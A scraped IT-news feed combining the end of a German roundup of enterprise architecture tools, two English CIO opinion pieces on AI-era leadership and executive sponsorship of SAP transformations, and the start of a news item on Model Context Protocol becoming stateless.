<p class="wp-block-paragraph">Das Essential-Paket von EAS (Enterprise Architecture Solutions) nahm als <a href="https://www.computerwoche.de/k/linux-open-source,3472" target="_blank" class="idgGlossaryLink">Open-Source</a>-Projekt seinen Anfang und hat sich inzwischen zu einer kommerziell verfügbaren Cloud-Lösung weiterentwickelt. Das Tool erstellt ein Metamodell, das die Interaktionen zwischen Systemen und Geschäftsprozessen beschreibt. Ebenfalls enthalten sind Pakete, um gängige Business Workflows wie Datenmanagement oder DSGVO-Compliance zu tracken.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>den technischen Reifegrad der eigenen Architektur evaluieren;</p></li>



<li><p>Sicherheit und Governance durch besseres Asset Tracking optimieren;</p></li>



<li><p>wachsende Systemkomplexität kontrollieren und managen.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a title="Orbus Software iServer" href="https://www.orbussoftware.com/" target="_blank" rel="noopener">OrbusInfinity</a></strong></p>



<p class="wp-block-paragraph">Orbus Software hat Anfang 2025 die Akquisition seines Konkurrenten Capsifi <a href="https://www.orbussoftware.com/landing-pages/events/webinars/unlocking-the-future-orbus-acquires-capsifi-a-new-era-of-innovation-partnership-apac" target="_blank" rel="noreferrer noopener">abgeschlossen</a>. Der Anbieter stellt mit OrbusInfinity eine Enterprise-Transformation-Plattform auf KI-Basis zur Verfügung,  die schnellere, bessere Entscheidungen, Kosteinesparungen und Risikominimierung verspricht. Architecture-Teams sollen mit Hifle von OrbusInfinity mit einer Vielzahl von Stakeholdern interagieren können, um eine “digitale Blaupause” ihres Unternehmens zu generieren, die eine einheitliche Sicht auf das aktuelle und künftige Geschäft realisieren soll. Diverse Drittanbieter-Tools lassen sich außerdem mit der Plattform <a href="https://www.orbussoftware.com/product/integrations" target="_blank" rel="noreferrer noopener">integrieren</a>, darunter etwa von Microsoft, Flexera, ManageEngine oder ServiceNow. </p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>Stakeholder-Management;</p></li>



<li><p>Enterprise-Landschaften visualisieren;</p></li>



<li><p>Entscheidungsfindung und Datenanalyse automatisieren.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.planview.com/de/" title="Planview Enterprise One" target="_blank" rel="noopener">Planview Enterprise One</a></strong></p>



<p class="wp-block-paragraph">Planview bietet eine ganze Reihe von Produkten, mit denen Unternehmen Teamwork, Prozesse und die Enterprise Architecture nachvollziehen können. Die Enterprise Tools sind in drei Kategorien unterteilt: strategisches Portfolio-Management, Produktportfolio-Management und Projektportfolio-Management. Im Zusammenspiel entstehen hardware- und Software-übergreifende Layer, die rollenbasierte Perspektiven für Führungskräfte und Teammitglieder eröffnen. Das Toolset integriert mit gängigen Ticket-Tracking-Systemen wie Jira, um Workflow-Analysen und Reports zu erstellen. Inzwischen hat Planview nach einer Übernahme neue Tools in sein Portfolio integriert, die früher unter den Namen Daptiv, Barometer und Projectplace bekannt waren.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>eine langfristige, strategische Vision für die Architekturentwicklung aufbauen;</p></li>



<li><p>Entwicklungsarbeit auf Projektebene tracken und in eine beliebige Strategie integrieren;</p></li>



<li><p>mit Fokus auf die Customer Experience und die Produktstruktur den Change vorantreiben.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.qualiware.com/" title="QualiWare Enterprise Architecture" target="_blank" rel="noopener">QualiWare Enterprise Architecture</a></strong></p>



<p class="wp-block-paragraph">Das Enterprise Architecture Tool von QualiWare ist Teil einer größeren Sammlung von Modellierungswerkzeugen, die darauf abzielt, sämtliche Geschäftsprozesse zu erfassen. Beispielsweise ist es möglich, einen digitalen Zwillinge zu bauen, mit dem sich Customer Journeys nachvollziehen lassen. Qualiware hat diverse KI-Algorithmen integriert, um Dokumentation und Process Discovery zu optimieren.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>ein kollaboratives Ökosystem für Business Manager aufbauen, das ein Verständnis von der Enterprise Architecture vermittelt;</p></li>



<li><p>architektonische Designelemente erfassen, um ein Wissens-Ökosystem rund um den Stack aufzubauen;</p></li>



<li><p>eine breite Beteiligung in Sachen Dokumentationserstellung und -überprüfung fördern.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.erwin.com/de-de/products/erwin-evolve/" title="Quest Erwin Evolve" target="_blank" rel="noopener">Quest Erwin Evolve</a></strong></p>



<p class="wp-block-paragraph">Das Erwin Evolve Tool von Quest hat sich von einem Datenmodellierungs-Tool zu einem System für Enterprise-Architecture- und Geschäftsprozess-Modellierung weiterentwickelt. Um die Komplexität moderner, ineinandergreifender Softwaresysteme und der von ihnen gemanagten Geschäftsprozesse zu durchdringen, können Anwender auf benutzerdefinierte Datenstrukturen zurückgreifen. Das Web-Tool erstellt Modelle, rollenbasierte Diagramme und andere Visualisierungen, die in allgemein zugängliche Dashboards einfließen. Zum Paket gehört ein KI-basiertes Modellierungs-Tool, das Whiteboard-Skizzen integrieren kann.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>einen digitalen Zwilling für die strategische Modellierung der Enterprise Data Architecture erstellen;</p></li>



<li><p>Customer Journeys verstehen;</p></li>



<li><p>Services und Systeme mit Application Portfolio Management tracken.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a title="LeanIX Enterprise Architecture Suite" href="https://www.leanix.net/de/produkte/enterprise-architecture-management" target="_blank" rel="noopener">SAP LeanIX Enterprise Architecture Suite</a></strong></p>



<p class="wp-block-paragraph">Die Tool-Sammlung von LeanIX umfasst unter anderem Enterprise Architecture Management und andere Bereiche, die für Aufgaben wie <a class="idgGlossaryLink" href="https://www.computerwoche.de/k/cloud-computing,3454" target="_blank">SaaS</a>– und Value-Stream-Management wichtig sind – etwa um Cloud-Deployments und darauf laufende Services zu tracken. Die Daten die dabei über die IT-Infrastruktur gesammelt werden, fließen in ein grafisches Dashboard ein. Das Tool ist eng mit wichtigen Cloud-Workflow-Tools wie Confluence, Jira, Signavio und Lucidchart integriert. Das ist für Teams von Vorteil, die diese Tools bereits nutzen, um ihre Entwicklungsstrategien zu planen und umzusetzen. Seit November 2023 <a href="https://www.leanix.net/de/unternehmen/pressemeldungen/leanix-gehoert-jetzt-zu-sap">ist LeanIX Teil von SAP</a>.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>Anwendungsmodernisierung und Cloud-Migration managen;</p></li>



<li><p>Obsoleszenz von Software-Services evaluieren;</p></li>



<li><p>Kosten kontrollieren und managen.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.servicenow.com/de/" title="ServiceNow" target="_blank" rel="noopener">ServiceNow</a></strong></p>



<p class="wp-block-paragraph">Die Tool-Sammlung von ServiceNow lässt sich auf verschiedene Architekturtypen herunterbrechen, darunter Assets, <a href="https://www.computerwoche.de/article/2785626/wie-devops-die-it-beschleunigen.html" target="_blank" class="idgGlossaryLink">DevOps</a>, Security und Service. Die Tools katalogisieren die unterschiedlichen Hardware- und Softwareplattformen, um Workflows und Datenflüsse im Unternehmen abzubilden und zu verstehen. Ausführliche Reportings und detaillierte Dashboards ermöglichen Analysen, auf deren Grundlage Risiken minimiert und die Ausfallsicherheit der Systeme erhöht werden können.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>Tracken von Assets, Services und Systemen, die das Unternehmen ausmachen;</p></li>



<li><p>Governance-Themen, Risikobegrenzung, IT-Management und Security Operations werden in einer Plattform zusammengeführt;</p></li>



<li><p>durch die Integration von CRM-Tools lassen sich auch kundenorientierte Services managen.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://sparxsystems.com/products/ea/" title="Sparx Systems" target="_blank" rel="noopener">Sparx Systems</a></strong></p>



<p class="wp-block-paragraph">Um Teams und Projekte verschiedener Größe und Komplexität zu unterstützen, hat Sparx vier Versionen seines EA-Tools entwickelt. Allen gemeinsam ist eine UML-basierte Modellierung, mit der sich die Komponenten komplexer Systeme tracken lassen. Eine Simulations-Engine ermöglicht “War Gaming” und vermittelt ein Verständnis darüber, wie sich Fehler ausbreiten und kaskadieren können. Sparx stellt zudem eine Vielzahl von vorgefertigten Design Patterns bereit, um Teams bei der Modellierung zu unterstützen.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>Nachfrage- und Lastveränderungen zur Prognose künftiger Anforderungen simulieren;</p></li>



<li><p>(potenzielle) Probleme durch eine Verbindungs-Matrix im Auge behalten;</p></li>



<li><p>Dokumentation erstellen.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.teamblue.unicomsi.com/products/system-architect/" title="Unicom System Architect" target="_blank" rel="noopener">Unicom System Architect</a></strong></p>



<p class="wp-block-paragraph">System Architect ist eines der Angebote aus Unicoms Team Blue. Es handelt sich um ein Tool, das ein Metamodell verwendet, um automatisiert so viele Daten wie möglich über die laufenden Systeme zu sammeln – manchmal auch durch ein Reverse Engineering von Datenflüssen. Dieses systemweite Datenmodell kann über benutzerdefinierte Dashboards Teammitgliedern aller Rollen zugänglich gemacht werden. Ein weiteres erwähnenswertes Feature: Die Ressourcenzuweisung lässt sich mit Hilfe von Simulationen optimieren.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>Was-wäre-wenn-Fragen zum Architekturmodell stellen;</p></li>



<li><p>ein Metamodell von Daten und Systemen aufbauen;</p></li>



<li><p>Migrations- und Transformationspläne erstellen.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.valueblue.com/bluedolphin" title="ValueBlue BlueDolphin" target="_blank" rel="noopener">ValueBlue BlueDolphin</a></strong></p>



<p class="wp-block-paragraph">Dieses EA-Tool sammelt Daten auf dreierlei Art:</p>



<ol class="wp-block-list">
<li><p>Es importiert Basisdaten auf der Grundlage standardgesteuerter Automatisierung (ITSM, SAM).</p></li>



<li><p>Es arbeitet mit den Dateiformaten von Architekten und Systemdesignern – etwa ArchiMate oder BPMN.</p></li>



<li><p>Es gibt Fragebögen an andere Stakeholder heraus, die auf anpassbaren Vorlagen basieren.</p></li>
</ol>



<p class="wp-block-paragraph">Die aufbereiteten Informationen werden in einer visuellen Umgebung bereitgestellt, die Auskunft über die historische Entwicklung von Systemen gibt.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>systemweite Daten von internen und externen Stakeholdern automatisiert und formularbasiert erfassen;</p></li>



<li><p>zukunftsorientierte Reportings erzeugen, um den Change zu überwachen und voranzutreiben;</p></li>



<li><p>Kooperation und Zusammenarbeit durch offenes Data Reporting fördern.</p></li>
</ul>



<p class="wp-block-paragraph">(fm)</p>



<p class="wp-block-paragraph"><strong>Dieser Artikel ist <a href="https://www.cio.com/article/196069/top-enterprise-architecture-tools.html" target="_blank">im Original</a> bei unserer Schwesterpublikation CIO.com erschienen. </strong></p>
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<title><![CDATA[AI, Mind Reading and Microchip Brain Implants]]></title>
<description><![CDATA[How neurotech advancements and new state laws are shaping the future of human-machine interfaces.]]></description>
<link>https://tsecurity.de/de/3694404/it-security-nachrichten/ai-mind-reading-and-microchip-brain-implants/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694404/it-security-nachrichten/ai-mind-reading-and-microchip-brain-implants/</guid>
<pubDate>Sat, 25 Jul 2026 18:57:46 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[How neurotech advancements and new state laws are shaping the future of human-machine interfaces.]]></content:encoded>
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<title><![CDATA[AI success requires a full-stack CIO]]></title>
<description><![CDATA[Every CIO I speak with today is wrestling with some version of the same question: How do we move faster with AI and deliver on our commitments?



It’s an understandable concern. Boards and CEOs are asking about AI. Business leaders are experimenting with use cases. Employees are discovering tool...]]></description>
<link>https://tsecurity.de/de/3694399/it-security-nachrichten/ai-success-requires-a-full-stack-cio/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694399/it-security-nachrichten/ai-success-requires-a-full-stack-cio/</guid>
<pubDate>Sat, 25 Jul 2026 18:57:42 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Every CIO I speak with today is wrestling with some version of the same question: How do we move faster with AI and deliver on our commitments?</p>



<p class="wp-block-paragraph">It’s an understandable concern. <a href="https://www.cio.com/article/4171959/ceos-top-priorities-for-it-leaders-today-2.html">Boards and CEOs are asking about AI</a>. Business leaders are experimenting with use cases. Employees are discovering tools daily, while technology vendors promise unprecedented gains in productivity, innovation, and competitive advantage.</p>



<p class="wp-block-paragraph">After hundreds of conversations with technology executives over the past year, I’ve become convinced that speed isn’t the real issue. The organizations pulling away from the pack aren’t necessarily adopting AI faster than everyone else. They’re executing more effectively — a subtle distinction that represents one of the defining leadership challenges of the AI era.</p>



<p class="wp-block-paragraph">Technology has never been the hardest part of transformation. People, priorities, culture, and operating models are the biggest challenges. The ability to translate bold boardroom aspirations into thousands of thoughtful decisions made every day by architects, engineers, product managers, analysts, and business leaders is where competitive advantage is created. AI may be accelerating the pace of change, but it hasn’t changed that fundamental truth.</p>



<p class="wp-block-paragraph">I’ve met plenty of executives who are exceptional in the boardroom. They know how to frame a vision, <a href="https://www.cio.com/article/272180/relationship-building-networking-how-to-wow-your-board-of-directors.html">influence a board</a>, and build confidence among investors and business leaders. I’ve also met remarkable technologists who instinctively understand the architectural decisions, engineering tradeoffs, and implementation details that determine how great ideas become reality. Modern CIOs, however, must move comfortably between both worlds. Afshean Talasaz is one who stands out among this rare breed.</p>



<p class="wp-block-paragraph">Long before becoming CIO of Colonial Pipeline, Talasaz built his career from the ground up as a business professional, data scientist, and technologist. He has designed enterprise platforms, built AI capabilities, led technology organizations, and partnered closely with executive leadership teams on business transformation. Today, as an executive in residence with our Practitioners for Practitioners (P4P) community, he helps CIOs and business leaders navigate one of the most significant technology shifts of our generation.</p>



<p class="wp-block-paragraph">While Talasaz brings deep knowledge of data and AI to the table, his greatest strength is his ability to create strategy and connect it with execution. He can spend the morning discussing enterprise reinvention with the board and the afternoon debating architectural principles with the teams responsible for bringing that vision to life.</p>



<p class="wp-block-paragraph">That versatility gives Talasaz a unique lens on how CIOs <a href="https://www.cio.com/article/4178006/state-of-the-cio-2026-cios-set-the-course-for-ai-roi.html">can deliver value with AI</a>.</p>



<p class="wp-block-paragraph">Software companies have a term for engineers who understand every layer of the technology stack: full-stack developers. Listen to Talasaz and it becomes evident that the AI era requires something similar from technology leaders: a full-stack CIO.</p>



<h2 class="wp-block-heading">The full-stack CIO: Leading with clarity</h2>



<p class="wp-block-paragraph">A full-stack CIO understands how every layer of the enterprise influences the next. They recognize that every strategic priority becomes a portfolio investment, every investment shapes an operating model, every operating model influences architecture, every architecture choice informs product decisions, every product decision shapes engineering priorities.</p>



<p class="wp-block-paragraph">The best CIOs understand both ends of that journey. The extraordinary ones understand everything in between.</p>



<p class="wp-block-paragraph">And those who execute best lead with clarity, Talasaz says.</p>



<p class="wp-block-paragraph">“Everyone, from executives to middle managers to the people writing code, should be able to explain what we’re trying to achieve,” he emphasizes. “Clarity isn’t that we’ve handed out the PowerPoint. It’s that people genuinely understand where we’re going and can articulate it in their own language.”</p>



<p class="wp-block-paragraph">One of the unintended consequences of the AI boom is that organizations are beginning to confuse activity with alignment. They have AI councils, AI governance committees, AI innovation labs, AI centers of excellence, AI pilots, and AI roadmaps. Yet if you stop ten people in the hallway and ask a deceptively simple question, What business problem are we actually trying to solve? you’ll often hear ten different answers.</p>



<p class="wp-block-paragraph">As a result, architects optimize for one objective while product teams optimize for another. Business units pursue opportunities that seem perfectly reasonable from their perspective. Engineers make thoughtful technical decisions based on the information available to them. Individually, none of those decisions are necessarily wrong. Collectively, however, they create organizational drift. AI doesn’t create that problem. It simply accelerates the consequences.</p>



<p class="wp-block-paragraph">And while AI can be a force multiplier for the positive when every decision is guided by a shared understanding of where the organization is headed, it can also be a force multiplier for the negative, resulting in an organization simply moving faster in different directions.</p>



<p class="wp-block-paragraph">“When we have the fundamentals right, the tech infrastructure, the operating models, the nuances of how our business actually runs, we get the impacts of AI in a positive way,” Talasaz says. “When we don’t have those in place, AI can amplify the gaps or mute the benefits.”</p>



<p class="wp-block-paragraph">At a time when so much of the conversation surrounding AI is focused on algorithms, agents, and automation, it’s an important reminder that organizations don’t execute strategy; people do.</p>



<h2 class="wp-block-heading">Reducing organizational friction</h2>



<p class="wp-block-paragraph">Most executives are familiar with the concept of VUCA that characterizes today’s business environment. But Talasaz stresses the importance of turning this concern inward: “If the world outside our organizations is becoming more volatile, uncertain, complex, and ambiguous, what are we, as leaders, doing to the inside of our organizations?”</p>



<p class="wp-block-paragraph">Leaders spend enormous amounts of time helping their organizations respond to external disruption but comparatively little time asking whether they are inadvertently re-creating those same conditions internally in response to those external needs. Are we reducing uncertainty or introducing more of it? Are we simplifying work or adding unnecessary complexity? Are we helping people focus on what matters most, or asking them to navigate competing priorities and shifting expectations?</p>



<p class="wp-block-paragraph">Talasaz refers to this phenomenon as double VUCA — something I’ve witnessed repeatedly while working with CIOs over the past decade. Organizations often assume they’re struggling because of technology limitations when the real constraint is organizational friction. Teams wait for decisions. Priorities shift faster than roadmaps. Governance grows heavier. New committees are formed to solve problems created by existing committees. Everyone is working harder, yet the organization somehow feels slower.</p>



<p class="wp-block-paragraph">AI amplifies both outcomes. Organizations with clarity become dramatically more effective because AI accelerates good decisions. Organizations without clarity simply accelerate confusion.</p>



<h1 class="wp-block-heading">Operating model as strategy enabler</h1>



<p class="wp-block-paragraph">AI governance is one way to achieve greater clarity, but as Talasaz says, governance shouldn’t primarily exist inside policy manuals that few people read.</p>



<p class="wp-block-paragraph">Instead, AI governance should be embedded in the daily rhythms of the organization, shaping how teams collaborate, how decisions are made, how products move from ideas into production, and how innovation happens safely without requiring constant escalation. In other words, it’s all about your operating model.</p>



<p class="wp-block-paragraph">“If you had to pick one thing that isn’t technology, your operating model is the most important element for executing data and AI at scale,” he says.</p>



<p class="wp-block-paragraph">The best operating models create enough clarity that capable people can make thousands of decisions independently and confidently, without having to wait for permission. By embedding good governance into the way it works, the organization becomes faster.</p>



<p class="wp-block-paragraph">This advice echoes something I’ve heard repeatedly from some of the world’s most respected CIOs: High-performing organizations aren’t built on tighter control; they’re built on greater trust, supported by clear principles, shared expectations, and operating models that enable responsible decision-making at every level of the enterprise.</p>



<p class="wp-block-paragraph">Talasaz points out that technology leaders tend to speak in terms of <em>transformation</em>. He suggests CIOs consider a different word: <em>reinvention.</em></p>



<p class="wp-block-paragraph">As he explains, transformation implies replacing what exists today with something new. Reinvention starts with a more clear-eyed and practical premise: Some things absolutely must change; others represent years, sometimes decades, of accumulated expertise, customer trust, operational discipline, and competitive advantage.</p>



<p class="wp-block-paragraph">Reinvention is about building on those strengths while also creating new ways to deliver value. The leaders making the greatest progress in their AI journeys seem to recognize that it’s less about abandoning the past than thoughtfully preparing the organization for the future.</p>



<h2 class="wp-block-heading">Closing the gap between strategy and execution</h2>



<p class="wp-block-paragraph">Full-stack CIOs must be able to map out the various layers of execution and planning that need to be done at every level of the organization to be successful. To help with this, Talasaz has developed a data and AI framework that draws on his own experiences “from the keyboard to the boardroom.”</p>



<p class="wp-block-paragraph">As Talasaz sees it, too many organizations have been doing good work in isolation. “They’re doing a lot of the right things,” he says. “They’re just not connected.”</p>



<p class="wp-block-paragraph">Boards may be discussing growth while business leaders redesign customer experiences. Product teams may be prioritizing new capabilities while architects modernize platforms. Data teams may be improving quality while engineers focus on delivery. Every group makes meaningful progress within its own domain, yet somewhere between strategy and execution, the connective tissue begins to disappear. Talasaz’s framework brings those connecting points to the forefront.</p>



<p class="wp-block-paragraph">Crucially, the framework doesn’t begin with technology or AI or even with data. It begins with the experiences the organization hopes to create for its customers, employees, or partners. Many AI initiatives start with the question, “What can this technology do?” And indeed, we need to be inspired by the possibilities and challenged to think differently by what the technology can do. But, Talasaz emphasizes, we also need to ask what experiences we need to deliver for our business and how the technology can make that a reality.</p>



<p class="wp-block-paragraph">The framework challenges CIOs to answer that question first. Only after the experiences are clearly defined does the conversation move to the capabilities required to deliver it, the business activities that support those capabilities, the AI and data products that enable them, and finally the data foundation that makes everything possible.</p>



<p class="wp-block-paragraph">This shift in perspective ensures that, rather than allowing technology investments to search for business value, the business experience defines the technology required to deliver it. For CIOs, that’s more than a planning exercise. It’s a fundamentally different way of leading.</p>



<p class="wp-block-paragraph"><em>Over the coming months, the P4P community will be convening a series of small CxO roundtables to explore these issues and work more deeply with Afshean Talasaz’s 6×6 Data and AI Framework. CIOs and other enterprise leaders interested in participating are welcome to <a href="mailto:droberts@ouellette-online.com?subject=P4P:%206x6%20Framework%20Roundtable">reach out to me directly</a>.</em></p>
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<title><![CDATA[Sponsor mismatch is the silent killer of enterprise transformation]]></title>
<description><![CDATA[Late in a large enterprise SAP transformation, the strategic governance conversations began to drift. Instead of executive decisions, we found ourselves debating whether the program needed dedicated testing, whether cutover required a full weekend, whether twenty Agile teams really needed coordin...]]></description>
<link>https://tsecurity.de/de/3694391/it-security-nachrichten/sponsor-mismatch-is-the-silent-killer-of-enterprise-transformation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694391/it-security-nachrichten/sponsor-mismatch-is-the-silent-killer-of-enterprise-transformation/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:49 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Late in a large enterprise SAP transformation, the strategic governance conversations began to drift. Instead of executive decisions, we found ourselves debating whether the program needed dedicated testing, whether cutover required a full weekend, whether twenty Agile teams really needed coordination support and whether offshore resources were adding value at all.</p>



<p class="wp-block-paragraph">The questions were not coming from the delivery teams. They were coming from the executive sponsor.</p>



<p class="wp-block-paragraph">The sponsor had recently been elevated into a senior leadership role and had never sponsored a technology transformation at this scale. The challenge was not authority. The sponsor had every right to ask any question they wanted. The challenge was that strategic governance had quietly turned into a debate about delivery practices, because the sponsor did not yet have the transformation context to focus the conversation anywhere else.</p>



<p class="wp-block-paragraph">This is not a story about a bad sponsor. The executive in this case was a capable senior leader with strong judgment and authentic intent. They had been placed into a role they had not yet been prepared for, and the pattern that followed was structural, not personal. It is one of the more common patterns I have observed across enterprise transformation programs, and one of the most consistently misdiagnosed.</p>



<p class="wp-block-paragraph">Most program failures are not execution failures. They are sponsor mismatches.</p>



<h2 class="wp-block-heading">When governance becomes a debate about delivery practices</h2>



<p class="wp-block-paragraph">When the sponsor does not understand what an enterprise transformation actually requires, governance forums stop functioning as decision bodies and start functioning as practice debates.</p>



<p class="wp-block-paragraph">You see it in the questions that get asked. Why do we need a dedicated testing phase? Can the Build timeline be compressed? Why does cutover need a full weekend? Why do we need more Scrum Masters across 20 product teams? Can the US team simply work longer hours instead of using offshore resources? On one program, the sponsor suggested shifting the entire project’s working hours to India time, despite roughly 85 percent of the delivery organization being based in the United States.</p>



<p class="wp-block-paragraph">None of these questions are unreasonable in isolation. Each one targets a real cost or timeline pressure. The problem is what is missing underneath them: an understanding of the operational risks the original choices were designed to mitigate.</p>



<p class="wp-block-paragraph">When sponsors ask delivery-practice questions without that context, the program leadership team ends up defending the work instead of advancing it. Decision velocity drops. Trust between the program and its sponsor erodes. Senior delivery talent disengages from governance forums where the conversation never reaches the decisions they need made. What looks from the outside like an active sponsor producing engagement is, from inside the program, an active drain on the cycles needed to deliver.</p>



<p class="wp-block-paragraph">The compounding cost is not unique to any single program. <a href="https://www.pmi.org/blog/why-executive-sponsorship-fuels-projects">PMI’s research on executive sponsorship</a> consistently identifies sponsor engagement quality, rather than sponsor presence alone, as one of the strongest predictors of project success. The visible symptom is debate. The actual cost is unmade decisions.</p>



<h2 class="wp-block-heading">Authority is rarely the issue. Literacy is</h2>



<p class="wp-block-paragraph">When transformations stall under a mismatched sponsor, the diagnostic instinct is to question the sponsor’s authority. Are they senior enough? Do they have the cross-functional reach? Can they unblock?</p>



<p class="wp-block-paragraph">In most of the programs I have led or advised, authority was not the limiting factor. The sponsor in the SAP program above had ample authority. They could unblock any decision the program needed. What had not been developed was the transformation literacy to know which decisions mattered, which were technical noise and which were execution risks that should not be optimized away.</p>



<p class="wp-block-paragraph">This is what I have come to think of as the literacy problem. Sponsors elevated into transformation roles often have deep functional expertise (finance, operations, business unit leadership) but limited exposure to the distinct functions of PMO, organizational change management, agile delivery, testing and cutover, and how each one reduces a specific category of implementation risk. They are not expected to be SAP configuration experts. But they need enough transformation literacy to recognize which questions actually belong in a steering committee.</p>



<p class="wp-block-paragraph"><a href="https://hbr.org/2015/05/how-to-be-an-effective-executive-sponsor">Harvard Business Review’s research on effective executive sponsorship</a> has emphasized that sponsorship effectiveness depends as much on judgment as on authority. Judgment is where literacy becomes operational. A sponsor with authority but limited transformation literacy will optimize for speed and cost in ways that consistently underestimate risk. A sponsor with both will make the tradeoffs the program actually needs.</p>



<p class="wp-block-paragraph"><a href="https://www.prosci.com/resources/articles/change-management-best-practices">Prosci’s longstanding benchmark studies on change management</a> have ranked active and visible executive sponsorship as the single greatest contributor to change success for two decades. The word that matters in that finding is active. Active sponsorship without transformation literacy can introduce real cost. Not because the sponsor is acting against the program, but because the optimization choices they make are based on incomplete information about what the program is built to protect against.</p>



<h2 class="wp-block-heading">Shift the conversation from delivery practices to business risk</h2>



<p class="wp-block-paragraph">When the sponsor relationship is already in place and cannot be changed, the program leadership team has one move that consistently works: shift the conversation.</p>



<p class="wp-block-paragraph">On the SAP program above, we stopped explaining why the testing phase existed. We started explaining the business risk of reducing it. We stopped debating the number of Scrum Masters. We started connecting delivery capacity to coordination across more than twenty Agile teams and the business cost of losing that coordination. We reframed offshore support as a way to maintain delivery momentum around the clock rather than asking the U.S. team to sustain fifteen-hour days.</p>



<p class="wp-block-paragraph">The shift is from defending delivery practice to explaining business risk. The sponsor does not need to understand why testing takes the time it does. They need to understand what the program is exposed to if testing is compressed. They do not need to know how many Scrum Masters are statistically optimal for twenty Agile teams. They need to know what coordination breaks when the number is wrong.</p>



<p class="wp-block-paragraph">This reframing accomplishes two things. First, it brings the conversation back to the level at which sponsors actually make decisions: tradeoffs between business outcomes and business risks. Second, it builds transformation literacy in the sponsor over time, almost as a byproduct. By the third or fourth iteration of business-risk-framed conversations, the sponsor begins to ask the right questions on their own.</p>



<p class="wp-block-paragraph">In practice, this happens through small but deliberate moves. When the sponsor asks why a phase needs the time it takes, the program lead names two or three things that could go wrong if the time is cut and what each would cost the business. When the sponsor asks why a role is needed, the program lead names the work that would not get done without it. Every delivery-practice question gets converted into a business-risk answer.</p>



<p class="wp-block-paragraph">The program leadership team’s job is not to make the sponsor an expert in SAP delivery. It is to provide enough transformation context so that executive decisions reflect both business priorities and implementation realities.</p>



<p class="wp-block-paragraph">There are a few phrases I have used with executive sponsors over the years that capture the underlying issue. The sharpest one:</p>



<h2 class="wp-block-heading">If the decision has to go above the sponsor, they are not the sponsor.</h2>



<p class="wp-block-paragraph">Sponsorship is defined by what the sponsor can decide without asking someone else. That is the test. Anything else is the appearance of sponsorship, not the substance.</p>



<p class="wp-block-paragraph">For CIOs supporting enterprise transformation, the implication is direct. Sponsor selection, or sponsor preparation when selection is not an option, is not a hierarchy question. It is a transformation capability question. The same execution discipline that goes into defining decision rights, structuring governance and protecting delivery momentum should apply, with equal rigor, to assessing sponsor fit and building sponsor literacy before the program begins.</p>



<p class="wp-block-paragraph">A sponsor does not need to be the technical expert. They do need to know when to trust the people who are.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Model Context Protocol is going stateless to make scaling simpler]]></title>
<description><![CDATA[Model Context Protocol (MCP), the emerging standard for connecting AI models to external tools and enterprise data, is undergoing its biggest architectural overhaul yet.



The latest release candidate, scheduled for release on July 28, removes protocol-level sessions in favor of a stateless arch...]]></description>
<link>https://tsecurity.de/de/3694388/it-security-nachrichten/model-context-protocol-is-going-stateless-to-make-scaling-simpler/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694388/it-security-nachrichten/model-context-protocol-is-going-stateless-to-make-scaling-simpler/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:48 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Model Context Protocol (<a href="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html">MCP</a>), the emerging standard for connecting AI models to external tools and enterprise data, is undergoing its biggest architectural overhaul yet.</p>



<p class="wp-block-paragraph">The latest <a href="https://modelcontextprotocol.io/specification/draft/changelog" target="_blank" rel="noreferrer noopener">release candidate</a>, scheduled for release on July 28, removes protocol-level sessions in favor of a stateless architecture, a change which industry experts say is intended to make MCP easier to deploy across standard cloud infrastructure as enterprises move AI pilots into production.</p>



<p class="wp-block-paragraph">“The session-based model made sense when MCP servers were local processes on a developer’s laptop. In production, it became an operational tax,” said <a href="https://www.linkedin.com/in/muskan-bandta2004" target="_blank" rel="noreferrer noopener">Muskan Bandta</a>, cloud associate at ZopDev.</p>



